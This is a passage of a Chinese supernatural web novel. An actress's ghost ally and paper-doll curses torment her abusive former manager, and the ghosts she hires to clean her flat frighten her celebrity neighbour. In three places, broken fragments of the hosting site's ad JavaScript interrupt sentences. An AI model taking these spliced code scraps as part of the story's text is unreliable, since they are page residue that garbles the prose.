《惊!顶流怀的孩子是我哒》 3. 003(微恐) 003: 公安局 在警方有技术的审问下,刘文生等人为了让自己“立功”减责,互相曝对方的底细。 属于是狗咬狗。 综合下来,刘文生虽然只是公司副总,但他作的恶最多。 其他人犯的事,多数是他怂恿或计划。 面对警方审讯时,刘文生一直嬉皮笑脸,没有丝毫害怕。 关押期间更是不断叫嚣,说警察虐待他,他要起诉。 没人理他,时间久了,他也没劲了,恨恨地躺下睡觉。 厉鬼白术出现,悄无声息地蹲在刘文生身边,打量他。 它生前是个男人,现在要上一个男人的身,总感觉哪里怪怪的。 作为厉鬼,白术的理智大部分都处于失控状态,还没有清醒时上别人身的经验。 做了一番心理建设后,它慢慢沉进刘文生的体内。 熟睡中的刘文生突然感觉好冷,冷入骨髓的那种。 他的身体不自觉颤抖,脸上流露出痛苦神色。 上身之后,白术共享了刘文生最深刻的一些记忆。 也就清楚了契约主和刘文生之间的恩犯。 白术大为震惊,契约主怎么会被刘文生欺负? 她那么凶。 它不理解。 只能归究于,这可能是大佬在修炼历劫。 如今王者归来,她要一雪前耻。 白术一边胡思乱想,一边将刘文生拉进幻觉之中。 这是大部分鬼的攻击方式,让对方的san值不停往下掉。 刘文生在狂奔,他也不知道自己为什么要在公司里跑,也没有看到其他人。 身体一片冰凉,胸口像是压着一块巨石,喘不过气来。 跑着跑着,前方拐角有一道熟悉的影子掠过。 是苏见青。 他对她太熟悉了,怎么都不会认错。 他想起来了,自己被苏见青那个贱人害得进了局子,以后还会判刑。 怒气瞬间盈满整个胸膛。 他没去想既然自己在公安局里,怎么会出现在公司。 脑海里唯一的念头就是追上去,抓住苏见青发泄他积攒的怨气。 快了,快了。 偏偏每次都差一点点。 该死的,小贱人看着风吹就倒,跑得却贼快。 刘文生跑不动了,停下来大口喘气。 他看到苏见青也停下来,垂着头,长发垂下遮住脸,一副死气沉沉的样子。 刘文生最恨苏见青这副模样。 让她去陪个酒,一脸死了妈的表情。 还要死要活的装清高。 本可以卖个好行情,就因为她不会来事,遭嫌弃厌恶,害得他损失不少。 刘文生再度追上去,苏见青也重新跑了起来。 艹,这贱人是在遛他吗! 公司的走廊什么时候这么长了,怎么还没跑到头。 咚—— 他听到大门重重合上的声音。 追上去看到紧闭的卫生间,刘文生抹掉脸上跑出来的汗,眼神中透着狞笑。 小贱人选了死路。 吱嘎—— 他推开卫生间的大门,走了进去。 森凉的寒意扑面而来,浸入被汗水打湿的衣服,激得刘文生打了个寒颤。 咔哒一声,他将大门反锁。 滴答。 滴答。 …… 安静的空间里可以清楚听到水龙头往外滴水的声音。 这声音听得他心烦,刘文生上前,拧紧水龙头。 声音消失了,一时之间安静得有些恐怖。 最里面的隔间门紧紧关闭,苏见青显然就躲在里面。 刘文生吹着口哨故意踢踏着脚步走过去,用滑腻的嗓音说: “苏见青,如果我是你的话,现在会乖乖出来,跪在我的面前求饶。” “看在你态度诚恳的份上,说不定我心情一好,就会饶了你。” 隔间里的苏见青不为所动。 刘文生用脚尖砰砰踢门,发出极为尖锐的噪音。 想象苏见青在隔间里吓到瑟瑟发抖面无人色的样子,他不禁痛快大笑。 “我的耐心可是有限的。” 他本来打算直接把她薅出来,先发泄一番怒气。 但把她的心理防线逼到崩溃,慢刀子炖肉的感觉也不错。 刘文生脱下皮鞋,脚尖直冲最末的隔间门缝下,让苏见青认为他一直站在门口。 然后,他悄无声息地进入倒数第二个隔间。 合下马桶盖站上去,扶着隔间隔板,咧着嘴将脑袋往旁边一支。 下一秒,刘文生脸上的笑容凝固。 ……人呢? 隔间里空空荡荡,哪里有苏见青的影子。 吱呀—— 突然,他所在的隔间门猛地紧闭,从外面被人关上了。 “苏见青,你敢耍老子!” 刘文生立刻意识到,苏见青只是让他误以为她躲在最后的隔间里,实际藏在前面的隔间。 现在他自己跑到倒数第二的隔间,反倒给了她把他关上的机会。 刘文生肺都快气炸了,跳下马桶,打算以蛮力破门。 他抬起大腿,用力地狠狠踹向隔间门。 咔擦,一声清脆的断裂声。 比断裂声更响亮的,是刘文生喉咙里发出的凄厉惨叫。 他倒在地上哀嚎,小腿呈现出不自然的反折弧度。 这一脚成功踹开了门,也成功踹断了他自己的小腿骨。 刘文生痛得五官扭曲,想打电话叫人过来,摸遍全身的兜也没找到手机。 最后只好一边疯狂怨毒地咒骂苏见青,一边扶着门单脚跳出隔间。 蹦了几步,他忽有所感地回头。 原本放在最后隔间门缝下、鞋尖朝里的那双皮鞋,竟不知何时转了向,鞋尖直直地转向他。 刘文生嘴里骂声蓦地消失,呼吸不自觉加粗,咽了咽喉咙,忍痛加快速度往前蹦。 咚—— 咚—— 咚—— 每蹦一下脚底接触地面便发出沉闷声响,每一击仿佛重重敲在他的心脏。 他控制不住地稍稍侧头,用眼角余光往后扫。 属于他自己的那双皮鞋依旧鞋尖朝着他,并且就在他身后半米处! 刘文生头皮瞬间炸开,冷汗流了下来。 后背传来刺入骨髓的阴冷,后脖处的汗毛倒竖,肩膀沉重。 他闷头继续往前蹦,不再往后看。 该死! 为什么大门这么远! 蹦着蹦着,视线冷不丁撞进洗手台上的镜子里。 刹那间全身血液冻洁,僵在原地。 镜子倒映的画面里—— 一道苍白阴冷的身影以他肩膀为椅,“坐”在他身上,双腿轻飘飘地耷拉在他胸前。 水草似的黑色长发直直垂下,末端系着一颗……脑袋。 脑袋上的人脸发青肿胀,眼睛睁得眼角都裂开了,五官表情凝固在极度的惊恐之中。 刘文生认出来了。 那是他自己的头。 身后半米,一具无头身体套在皮鞋里。 是他自己的身体,跟着他。 而他单腿蹦跳时发出的沉闷咚声,其实是他每跳一下,头颅与地面撞击。 刘文生眼睛一点一点睁大,呼吸逐渐变得粗重。 黑色头发潮水般地缠住他的喉咙,收紧,收紧。 他的脖子渐渐拉长变细…… …… 负责监控的民警因为熬夜工作,有些昏昏欲睡。 同事给他端来一杯咖啡,目光扫过屏幕,“咦”了一声: “王哥,那个刘文生好像不太对劲。” 监控里睡觉的刘文生身体突然抽搐,紧接着伸出双手死死掐住自己的脖子。 很快警察冲进房间把刘文生叫醒了。 刘文生大叫着睁开眼睛,剧烈喘着粗气,脸上是犹如实质的恐惧。 当看到警察身上的制服时,他才反应过来自己是在做梦。 “哈哈哈老子是在做梦!小贱人还想吓我,呸!”他发狂大笑。 然而,梦里的画面太真实了,深深地印在他脑海里,挥之不去,不断凌迟着他的情绪。 一定是这间屋子有问题。 刘文生叫嚣着要换房间,没依他后,他开始咒骂。 骂着骂着,他感觉身体各处发痒,下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意识抓挠。 越抓越痒,越痒越抓,甚至蔓延到了耳朵里。 嘴周出现刺痛,他声音渐渐停下,不可置信地伸手摸自己的嘴,摸到一圈密密麻麻刺痛的水泡。 同时牙齿开始传来一抽一抽的疼痛。 由弱到强,像是有无数细针往痛觉神经里疯狂乱扎。 钻心的痒和剧痛使得刘文生的咒骂变成求救。 出于人道主义,警察买了药。 吃药的时候,传来的凛冽痛意疼得刘文生眼泪飙了出来。 他的口腔和喉咙里不知什么时候长满了溃疡! 喝进去的水和咽下的药片,就像在吃一把刀片。 好不容易上刑似的吃完药,被汗湿透全身的刘文生再痛再痒也只能强忍着,不敢发出任何声音。 他就这么煎熬着。 没过多久,突然特别想上厕所,警察带他去了。 半分钟后,厕所里传来杀猪般撕心裂肺的惨叫。 警察叔叔们冲进去,就看到刘文生下半身浸在血泊里,整个画面好似凶杀现场。 他仿佛经历了一场酷刑,涕泪四流地从喉咙里挤出虚弱的声音: “救……我……” 120来得很快,医生检查完,轻描淡写地说:“问题不大,就是痔疮破了。” 万万没想到是这个原因的警察叔叔:“……” 我们受过专业训练,无论多好笑都绝对不会笑。 他们转过身,肩膀克制不住地耸动。 医生看向因为上面下面持续不断的剧痛、疼得话都说不出来的刘文生,一脸严肃地说: “你这个情况很严重,必须马上割,不割的话会一直疼,药物治疗没太大作用。” 奄奄一息的刘文生没得选择。 于是被拉到医院,铐在手术台割了。 警方特意请了记者。 麻药过后,刘文生差点当场升天。 * 白术不愧是位好员工。 为了让老板检查它的工作成果,它从一开始就通过契约,向苏见青共享整个过程。 所以,苏见青相当于看了整场直播。 一觉睡到大中午,原主怨气和执念消失了一大部分。 搞得她有点紧张。 别消化得这么快喂。 很容易让她摆烂啊。 她上网看到了有关刘文生的新闻报道。 记者是位妙人,特意放出刘文生响彻整个楼层的惨叫。 【大快人心,老天爷开眼了。】 【可不是,这种人渣就算做牢也无痛无灾,他得到什么惩罚了?就该让他一辈子病痛缠身。】 【最好是那种死不了但折磨人的小病,比如失眠偏头痛腰突痛风便秘结肠溃疡胃病甲沟炎鼻炎咽炎肠炎结膜炎阑尾炎……全给他来一遍。】 ——这条评论点赞数最多。 【楼上姐妹牛批。】 还有很多人@苏见青,让她看到这个新闻开心开心。 苏见青将那位点赞数最多的网友评论截图保存。 她打算以后每天写一个小咒术送给刘文生,全轮一遍。 既不会让自己耗尽精神力,又能让刘文生每天多一个惊喜。 再加上厉鬼白术的贴贴…… 苏见青看着手机屏幕倒映的自己,温柔地说: “对刘文生而言,这才是最好的报应。” 今天的小咒术还没送上呢。 她拿起一个小纸人,不假思索地写上四个大字: 痔疮复发 与此同时,医生来到门口。 他特意选择阳气最足的中午时段,来给苏见青检查。 这次肯定没有问题。 他轻轻推开门,表情渐渐凝固。 一只眼熟的小纸人飘浮在半空。 上面看不懂的墨色字体变成令人浑生不适的红色,继而自燃,几秒后便不留半点灰烬的化为虚无。 而苏见青仿佛陷在半明时昧的阴影中,浑身散发着暗郁不详的味道,宛如从地狱里爬起来的索命鬼魅。 下一秒,“鬼魅”冰凉的目光看向了他。 医生:“……” 医生转身夺门狂奔。 ——我到底造了什么孽啊啊啊 4.004 004: “等等……” 意识到医生好像受到了惊吓,苏见青想要解释。 可话刚出口,医生的身影嗖一下便没影了,只余病房门合上时发出的响声。 她陷入沉思。 一张燃烧的纸人,有这么可怕吗。 转念一想。 上辈子她处于灵异神怪的世界,而现代世界更崇尚科学,接受程度相对没那么高。 苏见青决定去找医生。 她特意从陈队长送的果篮里,挑了个最红最大最漂亮的苹果,通过询问护士小姐姐得到医生办公室位置,一路走过去。 刚到门口,就看到医生坐在椅子上,双手合十一脸虔诚。 而他虔诚的对象是桌面上放着的一只巴掌大的貔貅摆件。 莫名感觉到凉意的医生睁开眼,转头,对上女孩蕴含好奇意味的目光。 “……” 其实医护人员拜一拜辟邪物品很正常,还会避讳些东西。 比如上班绝不吃火龙果、芒果之类。 但医生还是差点抠出三室一厅来。 毕竟他前一刻才被苏见青吓得不轻,后一刻就被她当面看到拜貔貅。 这似乎跟直接说她是脏东西没啥区别。 “林医生,其实我刚才是在学着变魔术。” 仿佛没有看到医生尬住的表情,苏见青拿出想好的措辞: “吓到您是我的不对,对不起,您千万不要误会。” 对上她尽显真诚的明亮眼睛,医生不留痕迹地瞥了眼地上她的影子。 沉默几秒后,他说:“我……没有误会。” “那我就放心了。” 苏见青松了口气,弯着笑眼将苹果塞到他手里,顺便问:“我什么时候能出院呢?” 医生立刻:“随时都可以。” 苏见青惊喜:“不用再检查了吗?” “你现在有没有哪里不舒服?” “没有。” “那就不用了。” 总觉得医生的语气里含有迫不及待的成分。 确定她要出院,医生话都多了起来,叮嘱: “不要熬夜,多吃鸡蛋牛肉这些高蛋白的食物,补充营养。” “我再给你开几瓶维生素,你配合着吃。” “谢谢林医生,劳您费心了。” 医生顿了顿,似乎是下定了某种决心,他写下一张便签给苏见青。 她接过一看,上面写着:灵隐寺,玄空法师。 苏见青:“?” 医生手指推了推眼镜,委婉地说:“你身上出了这么大的事,可以去找这位玄空法师赐福。” 根据苏见青自己说的跳楼时看到了黑无常,以及他亲眼所见—— 合理推断出苏见青身上,一定发生了难以用科学解释的迹遇。 玄空法师是灵瘾寺有名的得道高僧,貔貅就是在这位大师那里购买的。 他每天上班都要拜一拜,效果相当灵验——虽然在苏见青这里失效了。 他只是个普普通通的医生,只能帮她到这里了。 苏见青感谢医生的好心,表示自己一定会去。 离开时,她指着桌上的貔貅对医生道:“我能看看它吗?” 医生心里念着不能,手却不由自主地递了过去。 “……” 他面无表情地瞪着背叛的手。 苏见青没有注意医生表情的变化,接过貔貅。 “沾了点灰。” 她说着,手指从貔貅头顶抚到脚下,像是将灰擦掉了。 他每天都要擦一遍,怎么会有灰? 医生皱眉,接过苏见青还回来的貔貅,目送她离开的背影,挺直的脊背放松了许多。 他低头查看貔貅,眼中逐渐升起震惊。 原本貔貅身上不知在哪沾上的、自己用了很多方法都擦洗不掉的顽固黑色污渍,现在没了。 整个貔貅焕然一新,比最初从玄空法师手里拿到时还要新。 ——这不正常! 医生表情缓缓地凝重起来。 她……不会是在警告他吧。 再想想碰到的两次“案发现场”……命案里面看到凶手,通常都会被凶手灭口的。 医生吸了口凉气,坐立不安,最后立刻请假,驱车赶往灵隐寺。 他找到玄空法师,详细说明经过。 隐去了苏向青的个人信息。 一直安静听着耷拉着眼皮、没有任何反应的玄空法师,在医生拿出貔貅后,眼睛瞬间睁开。 “林施主,想必你误会了。” 玄空法师仔细端详貔貅,脸上渐渐有惊叹浮现,郑重道: “你说的那位施主不是被邪祟附身,只怕是真正的玄门大家。” “这只貔貅她替你重新开了光,效果比贫僧的要好十倍不止。” 医生:“???” 医生:“……” 待他反应过来玄空法师的意思后,更大的疑惑升起—— 玄门大家会进娱乐圈,被公司逼到跳楼自杀? 那不更加说明她不对劲吗!!! 而她轻轻一抹貔貅,开光的效果就比玄空法师好十倍不止。 说明什么,说明她比玄空法师厉害很多倍! 医生满怀希望的来,心情复杂地离开。 踌躇片刻,他在一家丧葬店里买了纸钱,来到苏见青跳楼的地方。 短短两天时间,这里成了众多网友的打卡地。 官方没公布苏见青平安之前,一些本市网友跑这儿点上蜡烛为她祈祷,还有人现场直播蹭热度。 苏见青奇迹般的没事后,跳楼处成为网友们口中的福地,更多人来打卡了。 不少人在这里烧纸钱祭拜——因为苏见青说见到了黑无常。 所以,医生拿出纸钱祭拜的举动,没有引起任何人的注意。 祭拜对象:苏见青。 他决定通过这种方式,向苏见青表达善意。 不管有没有用,总没坏处。 医生烧了好大一堆。 …… 苏见青办完出院手续,缴清费用后,卡里的余额只剩三位数。 离开医院,她在附近吃了一碗红油蹄花米线。 吃了几天清淡的营养餐,再吃这个,馋得她吃了两碗。 结果就是,有点撑。 胸口里涌出一股满足的愉快情绪。 ——原主大概很久没有感受过吃撑带来的幸福感了。 她在大街上闲逛消化,路过一家丧葬品,走进去: “老板,有黄表纸和朱砂吗?” “有的。”老板在叠纸元宝,示意角落那里,“你自己拿吧。” 苏见青拿起一叠黄表纸,指腹摩挲了下,皱眉。 再拿起一盒朱砂,低头轻嗅,眉头皱得更紧了。 算了,将就,能用就行。 “多少钱。” “五十。” 经过苏见青的努力还价,最终她付款四十,外加得到老板赠送的一个纸元宝。 随后又进了家文具店,买了支最便宜的毛笔。 拎着这些东西,苏见青纠结了会儿,决定坐公交车回家。 便宜,省钱。 她从记忆里找出公寓住址。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后就发现,公寓是原主从一位富二代手中赢过来的个人资产。 当时她被刘文生逼着参加饭局,席上那位富二代选中她当靶子。 扬言整场下来没哭的话,就答应她一个要求。 原主做到了,结束时没流一滴眼泪,哪怕全身多处伤口。 她清楚索要资源代言,获得的酬劳也会进入公司账户。 于是当着所有人的面,狮子大张口地向富二代提出要一套房。 赌他爱面子,不会拒绝。 ——她赌赢了。 …… 也就是说,苏见青的卡里虽然只有三位数,但实际上拥有千万资产。 那还坐什么公交! 她当即抛开研究得头晕的公交路线,果断招手,在路边打了个车。 上车之后,司机觉得她很眼熟,频频从后视镜打量。 过了会儿,确认了。 “艾玛!” 他激动地不小心按响喇叭:“你不是跳楼那个谁吗,我载到活的了!” 苏见青:“……” 一路上,司机滔滔不绝地给苏见青灌鸡汤,好像生怕她以后还会想不开。 到达目的地时,她脑瓜子都是嗡嗡的。 司机意犹未尽地向苏见青挥手,免了她的车费。 苏见青瞬间觉得,司机灌的鸡汤挺有意思的。 环顾四周,她凭着记忆找到公寓所属门栋,进入电梯,直达顶楼。 电梯刚打开,就听到一个机械电子音:“密码错误,请重新输入。” 一个拎着行李箱的男人站在2201的门前,正输入密码,电梯打开的声音让他下意识抬眸看过来。 两人目光在半空中撞上,互相觉得对方眼熟。 很快,苏见青从记忆里得知,这是傅时初。 年纪轻轻凭借精湛的演技和出色的外表,火遍全球,是当之无愧的顶流巨星。 由于他毫无瑕疵的五官极具冲击力,她将目光稍稍下移。 看清他穿着一身剪裁得体的高定西装,显得肩宽腰窄腿长,领口半开,露出一小片性感胸膛,像是刚从某个秀场走下来,贵气逼人。 傅时初顿了顿,修长的手指掩了掩领口,挑眉:“苏见青?” 这几天整个娱乐圈谁不知道苏见青。 哪怕之前并不认识她,此刻见到活生生的她,也不免感觉有些许奇妙。 “你住2202?” 苏见青摇摇头,走到他身旁,握住门把手。 傅时初:“?” 吱的一声,指纹锁成功解锁。 傅时初:“??” 苏见青拉开门,平静地对他说:“我住2201。” 傅时初:“???” 他审视地看了眼苏见青,迅速打开和助理杨天的微信聊天记录,找到其中两条。 ——【哥,门牌号是2202】 ——【密码:*******】 他当着苏见青的面翻的,苏见青也看到了。 傅时初:“……” ——脚趾你为什么突然在疯狂抠地。 两人目光对视,空气突然沉默。 苏见青唇角轻扬,善解人意地说:“没关系的,每个人眼睛都有看错的时候。” 话音一落,她脚边空地突然凭空冒出一大堆纸钱,白的黄的红的都有。 半空中还掉落了几张。 苏见青:“???” 谁烧给她的。 傅时初:“???????” 不是。 他是脚趾抠得太用力,把自己眼睛抠到病入膏肓了吗!? 5.005 005: 傅时初闭上眼睛。 再睁开。 地上那堆,活人烧给死人的纸钱。 还在。 “……” 作为顶流巨星,傅时初的通告排到了几个月之后。 每天几乎都是忙到脚不沾地,这次更是已经连续工作超过四十个小时没有合眼。 正常情况下,长时间没有睡眠,精神得不到补充、处在极度疲惫之中时,是有可能出现幻觉的。 为了验证这一点,傅时初使用顶尖的情绪管理能力,控制住表情状似不经意地问苏见青:“你有看到什么吗?” 苏见青正在思考谁那么好心,以为她死了给她烧纸钱。 听到傅时初的声音,敏锐地补捉到顶流眼底深处掠过的一丝惊疑。 这么大一堆纸钱凭空冒出来,确实不好解释。 但根据傅时初的反应……她明白他为什么要用试探的询问口吻了。 ——顶流多半以为自己出现了幻觉。 这就好办了。 “看到什么?”苏见青疑惑地反问。 见到她脸上真实自然的疑惑,傅时初紧绷的神经放松不少。 毕竟,一个女孩如果看到脚边突然冒出一堆烧给死人的纸钱,不可能没有任何反应。 幻觉总好过是真实存在。 “看错了。”傅时初轻描淡写地略过。 忽略掉存在感十足的“幻觉”,他调出微信二维码:“以后就是邻居了,加个微信?” 苏见青有些意外。 根据原主的记忆,傅时初出身豪门世家。 本该继承家业,却因为喜欢演戏,进入娱乐圈,成为家喻户晓的国际巨星。 二十六年的人生一帆风顺,没有丝毫坎坷。 他是真正的天之骄子,在圈里的评价两极化。 说好听点,是桀傲不驯,我行我素。 说难听点,是目中无人,唯我独尊。 但粉丝就爱他这样天大地大老子最大的嚣张性格,他的实力也配得上。 所以,能让顶流主动加好友的,两只手都数得过来。 原主之所以对傅时初了解这么清楚,是因为在一场活动中,他间接地帮过她一次。 避免了一个制片对她的咸猪手。 胸口有复杂的情绪涌动,似乎是没想到如今能认识这位耀眼的存在,并被主动邀请加好友。 苏见青掏出手机扫码,傅时初通过,两人结束交流。 等傅时初拉着行李箱进入旁边2202后,苏见青才低头看向那堆散发着香火味的纸钱。 可惜不是人民币。 但也不是没有用处。 这些纸钱已经不是普通纸钱,沾上香火,是地府鬼魂们的通用货币。 转世抬胎需要排队等候。 这个过程中,除去作奸犯案的罪魂,那些生老病死的正常鬼魂在地府得生活呀。 生活就得要钱。 甭管在哪儿,都是亘古不变的道理。 经常有人做梦,梦到死去的家人哭诉说在下面过得苦,多烧点钱。 就是在托梦啦。 而从某种意义上来说,苏见青已经死了。 所以能收到别人烧给她的纸钱。 她自己用不上这堆纸钱,却可以发挥它们的作用——雇佣鬼鬼们来替她做事。 不就又省一大笔人工费了嘛。 感谢烧纸钱给她的好心人。 你会有好报的。 啊切! 祭拜完的医生坐回车上,突然打了个重重的喷嚏。 ——为什么总感觉后背凉凉的啊! * 苏见青以舒适的姿势窝在客厅沙发,抬手在半空中又画出一个引魂符。 几分钟后,陆陆续续有三道阴冷苍白的身影出现。 它们一脸茫然,不明白自己怎么突然来到这里。 冷不丁瞅到望着它们微笑的苏见青,视线相接的刹那,懵了。 女鬼反手指着自己,呆愣地问:“你能看到我?” 得到点头的回应后,女鬼激动得快哭了。 自从变成鬼后,再没人能看到它,还不能离开死的地方。 连个说话的对象都没有,每天无聊得想再死一死。 这样的日子持续了整整五年!五年!! 苏见青关切问它:“你怎么死的?” 女鬼手扒着自己脑袋,只听咔擦一声,脖颈向后折成惊悚的九十度。 这突如其来的一幕,引得旁边的胖男鬼发出一声荡气回肠的“卧槽 ”。 “就是下楼梯的时候,看手机去了。” 女鬼满不在乎地说: “结果脚踩空摔下去,往下滚的时候运气不好,脖子磕断了,当场就嘎了。” 说完,她双手扶着头,熟稔地把脖子掰直。 任谁被束缚在死的地方,反复重演自己死时一幕长达五年,也会对自己的死因波澜不惊的。 一开始还会害怕,悔恨,痛苦。 后来,麻了。 苏见青安慰它:“辛苦了。” 她一视同仁,不厚此薄彼,转向另外两鬼:“你们俩呢。” 瘦的那只伸手进自己嘴巴,扯出舌头,一直扯扯扯……扯到肚皮。 它大着舌头说:“想不开,上吊了。” “……”苏见青,“你可以收回去了。” 瘦男鬼听话地吸溜一声,舌头归位,露出一个憨厚的笑。 旁边的胖男鬼扭扭捏捏像是不想说。 最终在两鬼一人如矩的目光下,它悲愤开口: “我是个吃播,为了流量,在镜头面前吃很多。” “那天吃得太急就……噎住了。” 懂了,噎死的。 女鬼和瘦男鬼都用同情的目光看它。 它俩一个摔死一个吊死,好歹死出有因。 胖男鬼捂脸。 三只鬼,女鬼和胖男鬼穿的衣服类型接近,而瘦男鬼的衣服更像是二三十年前。 “大哥,你哪个年代的?”胖男鬼好奇地问。 瘦男鬼想了想,摇头:“不知道。” 它只记得自己怎么死的,其他的记忆模糊了。 知道各自的死因后,三鬼顿时相见恨晚。 全然不顾旁边的苏见青,滔滔不绝地唠起嗑来,就差来把瓜子儿了。 直到苏见青拿出三份数额相同的纸钱,递给它们。 “请你们过来是想让你们帮我打扫房间,这是你们的酬劳。” 这就是她找它们的目的。 房间很久没有全面清扫,虽然不至于藏污纳垢,却也和干净不沾边。 她不想委屈自己的双手。 三鬼愣愣接过。 它们没被接引到地府,收不到亲人烧给它们的东西。 “打扫完了,会有鬼差接你们入地府,到时候就能排队去投胎了。” 这是苏见青额外送给它们的福利。 三只都是普通的鬼,没有鬼差来引它们,滞留在人间成了地缚灵。 入了地府,什么都没有,她给的钱正好能派上用场。 一不小心又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做好事了~ 三只鬼:“!!!” 它们不可置信地瞪大眼睛,又喜又惧地看着苏见青。 喜的是终于可以不用再当留守小鬼。 惧的是苏见青居然能请动鬼差来引它们。 ——那她是什么身份? “你,您……也是鬼差大人?”瘦男鬼小心翼翼地问。 看出它们比刚才拘谨许多,苏见青连连摆手:“我就是一个普通人。” 三鬼:“……” 骗鬼呢! 它们不敢耽搁,立刻开始工作。 女鬼负责卧室,俩男鬼负责客厅和厨房。 苏见青满意地看着它们辛勤劳动的身影,时不时还表扬一下,给足情绪价值。 三只在她的表扬声中干得更加起劲,致力让房间不留一丝尘埃。 苏见青把剩下的纸钱放进柜子,肚子适时咕噜了下。 中午吃的那两碗红油蹄花米线已经消化完了。 再看时间,五点多了,不能委屈手,当然也不能委屈胃。 她打开冰箱,想看看有什么菜。 结果,偌大的冰箱里面只住了一颗婴儿拳头大小的番茄。 “……” 也是,原主平时都不怎么吃东西,冰箱里自然空空荡荡。 小区里有超市,苏见青揣着手机,出门去买菜。 顺便将冰箱里那颗独生番茄洗干净,边走边吃。 主打一个绝不放过。 她离开后,屋子里的三只鬼没忍住,渐渐开始放飞。 * 另一边。 傅时初进入2202后,第一时间往四处看。 很好,那堆玩意儿终于消失在视野中。 无人在旁,不用顾忌形象,顶流彻底放弃表情管理。 他给助理杨天发了条微信: ——【把我后面一周的行程全部取消掉。】 已经累得出现幻觉了,离猝死还远吗。 傅时初只想长命百岁,不想英年早逝。 他从行李箱里翻出睡衣,将浴缸放满水,一边泡澡一边滑动手机屏幕。 新加的邻居安安静静,一条信息也没发过来。 不是他自恋。 但事实上就是所有加他的人——尤其女生——总是想方设法和他套近乎。 无论是出于礼貌社交,还是其他什么。 苏见青的微信头像是个笑脸图案,顺手点进朋友圈,一条也没有。 傅时初顿时失去兴趣,困意潮水般地袭来。 他几下冲洗完,裹上浴袍进入卧室。 床上用品全部按他喜好买的,傅时初满意地躺上床,戴上眼罩,陷入沉睡。 …… 不知过去多久…… “上吊哥,你能穿墙吗?” “能。” “哈哈哈我也能。” “为什么我不能,难道是因为我死的时间最短?” …… 窸窸窣窣钻进耳朵的寒凉声音让傅时初猛地惊醒。 他掀开眼罩,按灯。 心率不受控制地飙升。 “应该是你没找到方法,像我这样,用力挤就可以穿过去了。” 一墙之隔的那边,女鬼把自己往墙里怼:“你看我示范。” 它的上半身慢慢消失在墙的那一边,出现在这一边。 傅时初眼睁睁看着一颗白惨惨的头,一点一点从墙里钻了出来。 傅时初面无表情地盯着那颗头。 他好像病了。 还病得不轻。 6.006 006: 女鬼钻过来看到有人,才意识到一墙之隔的另一边是别人家。 但它并不慌。 首先,它可是鬼,该慌的是别人。 其次,普通人压根看不到它。 它摔死的楼梯每天有大量的人上下,没有一个能看到它的,更别提听到它说话。 女鬼想将这个情况分享给其他两鬼,又懒得退出身体,于是熟练地拧断脖子,脑袋一百八十度大转弯。 造成的画面就是—— 它的脸浮现在那边墙上,傅时初这边墙上是头发。 “那边是别人家,还有个男的,长得贼拉帅,你们要不要也过去看看。” “就冲你这语气……高低我要看看他有多帅。” “会不会吓着人家。” “我们是鬼,他又看不到。” 足够惊悚的画面让傅时初瞳孔剧烈收缩。 而钻进耳道的尖细嗓音说出的内容,更是如同一道惊雷炸进他的大脑,将他残存的睡意摧毁得一干二净。 他哪里是有病。 他分明是遇到鬼了! 下一秒,两只男鬼也从墙里钻了出来。 因为细窄的边缝不好清理,男瘦鬼就把自己的舌头甩进去扫,这会儿还没放回去,长长一条地吊在身前。 胖男鬼像女鬼示范的那样,使劲将自己往墙里怼。 但可能身体太胖了,卡在墙里,只有四肢和脑袋钻了过来。 傅时初:“……” 胖男鬼的脑袋骨碌碌转,嘟囔:“帅哥哪呢……卧槽,傅时初?” 女鬼也从墙里出来,咔擦转正自己的脑袋,听到它的惊叹,好奇问: “噎死哥,你认识他啊?” 它死那会儿傅时初刚出道,没见过。 “他是大明星啊,我还是他粉丝呢。” 胖男鬼激动的心颤抖不已:“妈耶,居然见到真人了!” 它的脑袋飘过去,手脚乱舞,全方位真情实感地表达自己的兴奋。 女鬼和瘦男鬼也跟着过去,三只鬼将傅时初团团围了起来。 傅时初:“…………” 接二连三炸裂般的视觉冲击使得傅时初神经绷到极致。 目睹的所有一切已经超出他的认知。 但他以顶流巨星强大的表情管理能力控制住脸部神态没绷,并且企图自我催眠。 ——都是幻觉。 没错! 他就是太累了没休息好。 傅时初猛地闭上眼睛,直挺挺地躺回床上,闪电般将被子拉过头顶。 三鬼被他突如其来的这个动作惊了一跳。 “他反应这么大,不会是看见我们了吧。”女鬼生前作为女性的敏锐直觉上线。 “不会吧。” 胖男鬼愣了愣,然后惨叫:“他要是能看见,那我这个粉丝长得也太磕碜了。” 瘦男鬼憨笑着说:“把他叫起来问问就知道了。” 傅时初脑仁疯狂地突突起来。 就在瘦男鬼的手伸过去碰到被子时—— 只见被子突然大力掀开,顶流一个完美的鲤鱼打挺起身。 凭着一口气,以几乎能媲美音速的速度跑出卧室、客厅、大门、走廊,直奔电梯间。 恰好电梯运行到顶楼,“叮”的一声打开。 苏见青提着一大袋东西刚刚提起右脚跨出电梯, 就被仿佛有鬼在后面追、裹挟着烈风狂奔而来的傅时初吓得缩了回去。 苏见青:“???” 冲进电梯见到活人的一瞬间,傅时初好像获得了重生。 “傅老师?”苏见青斟酌着开口,“您怎么了?” “……没事。” 傅时初试图维持形象,表现得若无其事。 奈何急促的呼吸、颤抖的双手,以及光着的脚出卖了他。 既然人家不想说,她便也识趣的不再问。 电梯已经合上,苏见青去按打开键。 “别!”傅时初制止。 苏见青:“?” 傅时初定了定神。 他自认自己不是什么好人,但那三只玩意儿——他不想用那个阴森森的代词——是从苏见青那里钻过来的。 她回去说不定也会遇到。 但直接说,她会相信吗? “外面有脏东西,”傅时初含糊道,“你先别回去。” 电光石火间,通过他还没恢复的表情系统,苏见青好像明白了什么。 她试探地问:“傅老师……遇到鬼了?” 傅时初:“?” 傅时初:“……” 两人目光对视。 “你……” 傅时初突然想起,他刷到过苏见青说跳楼见到黑无常的热搜。 他眼睛里罕见地浮现出些许茫然。 此时此刻,顶流的沉默,震耳欲聋。 几分钟后,2201,客厅 苏见青和傅时初坐在沙发,后者手里捧着苏见青特意给他倒的一杯热水,一声不吭地垂着眸。 而他前面,三只鬼背着手老老实实站在两米远处,大气都不敢喘一声——虽然他们并没有呼吸。 自己雇的鬼佣把人吓得不轻,苏见青实在愧疚,柔声安抚傅时初: “傅老师,你不用害怕,它们都是滞留的地缚灵,不凶的。” “……” 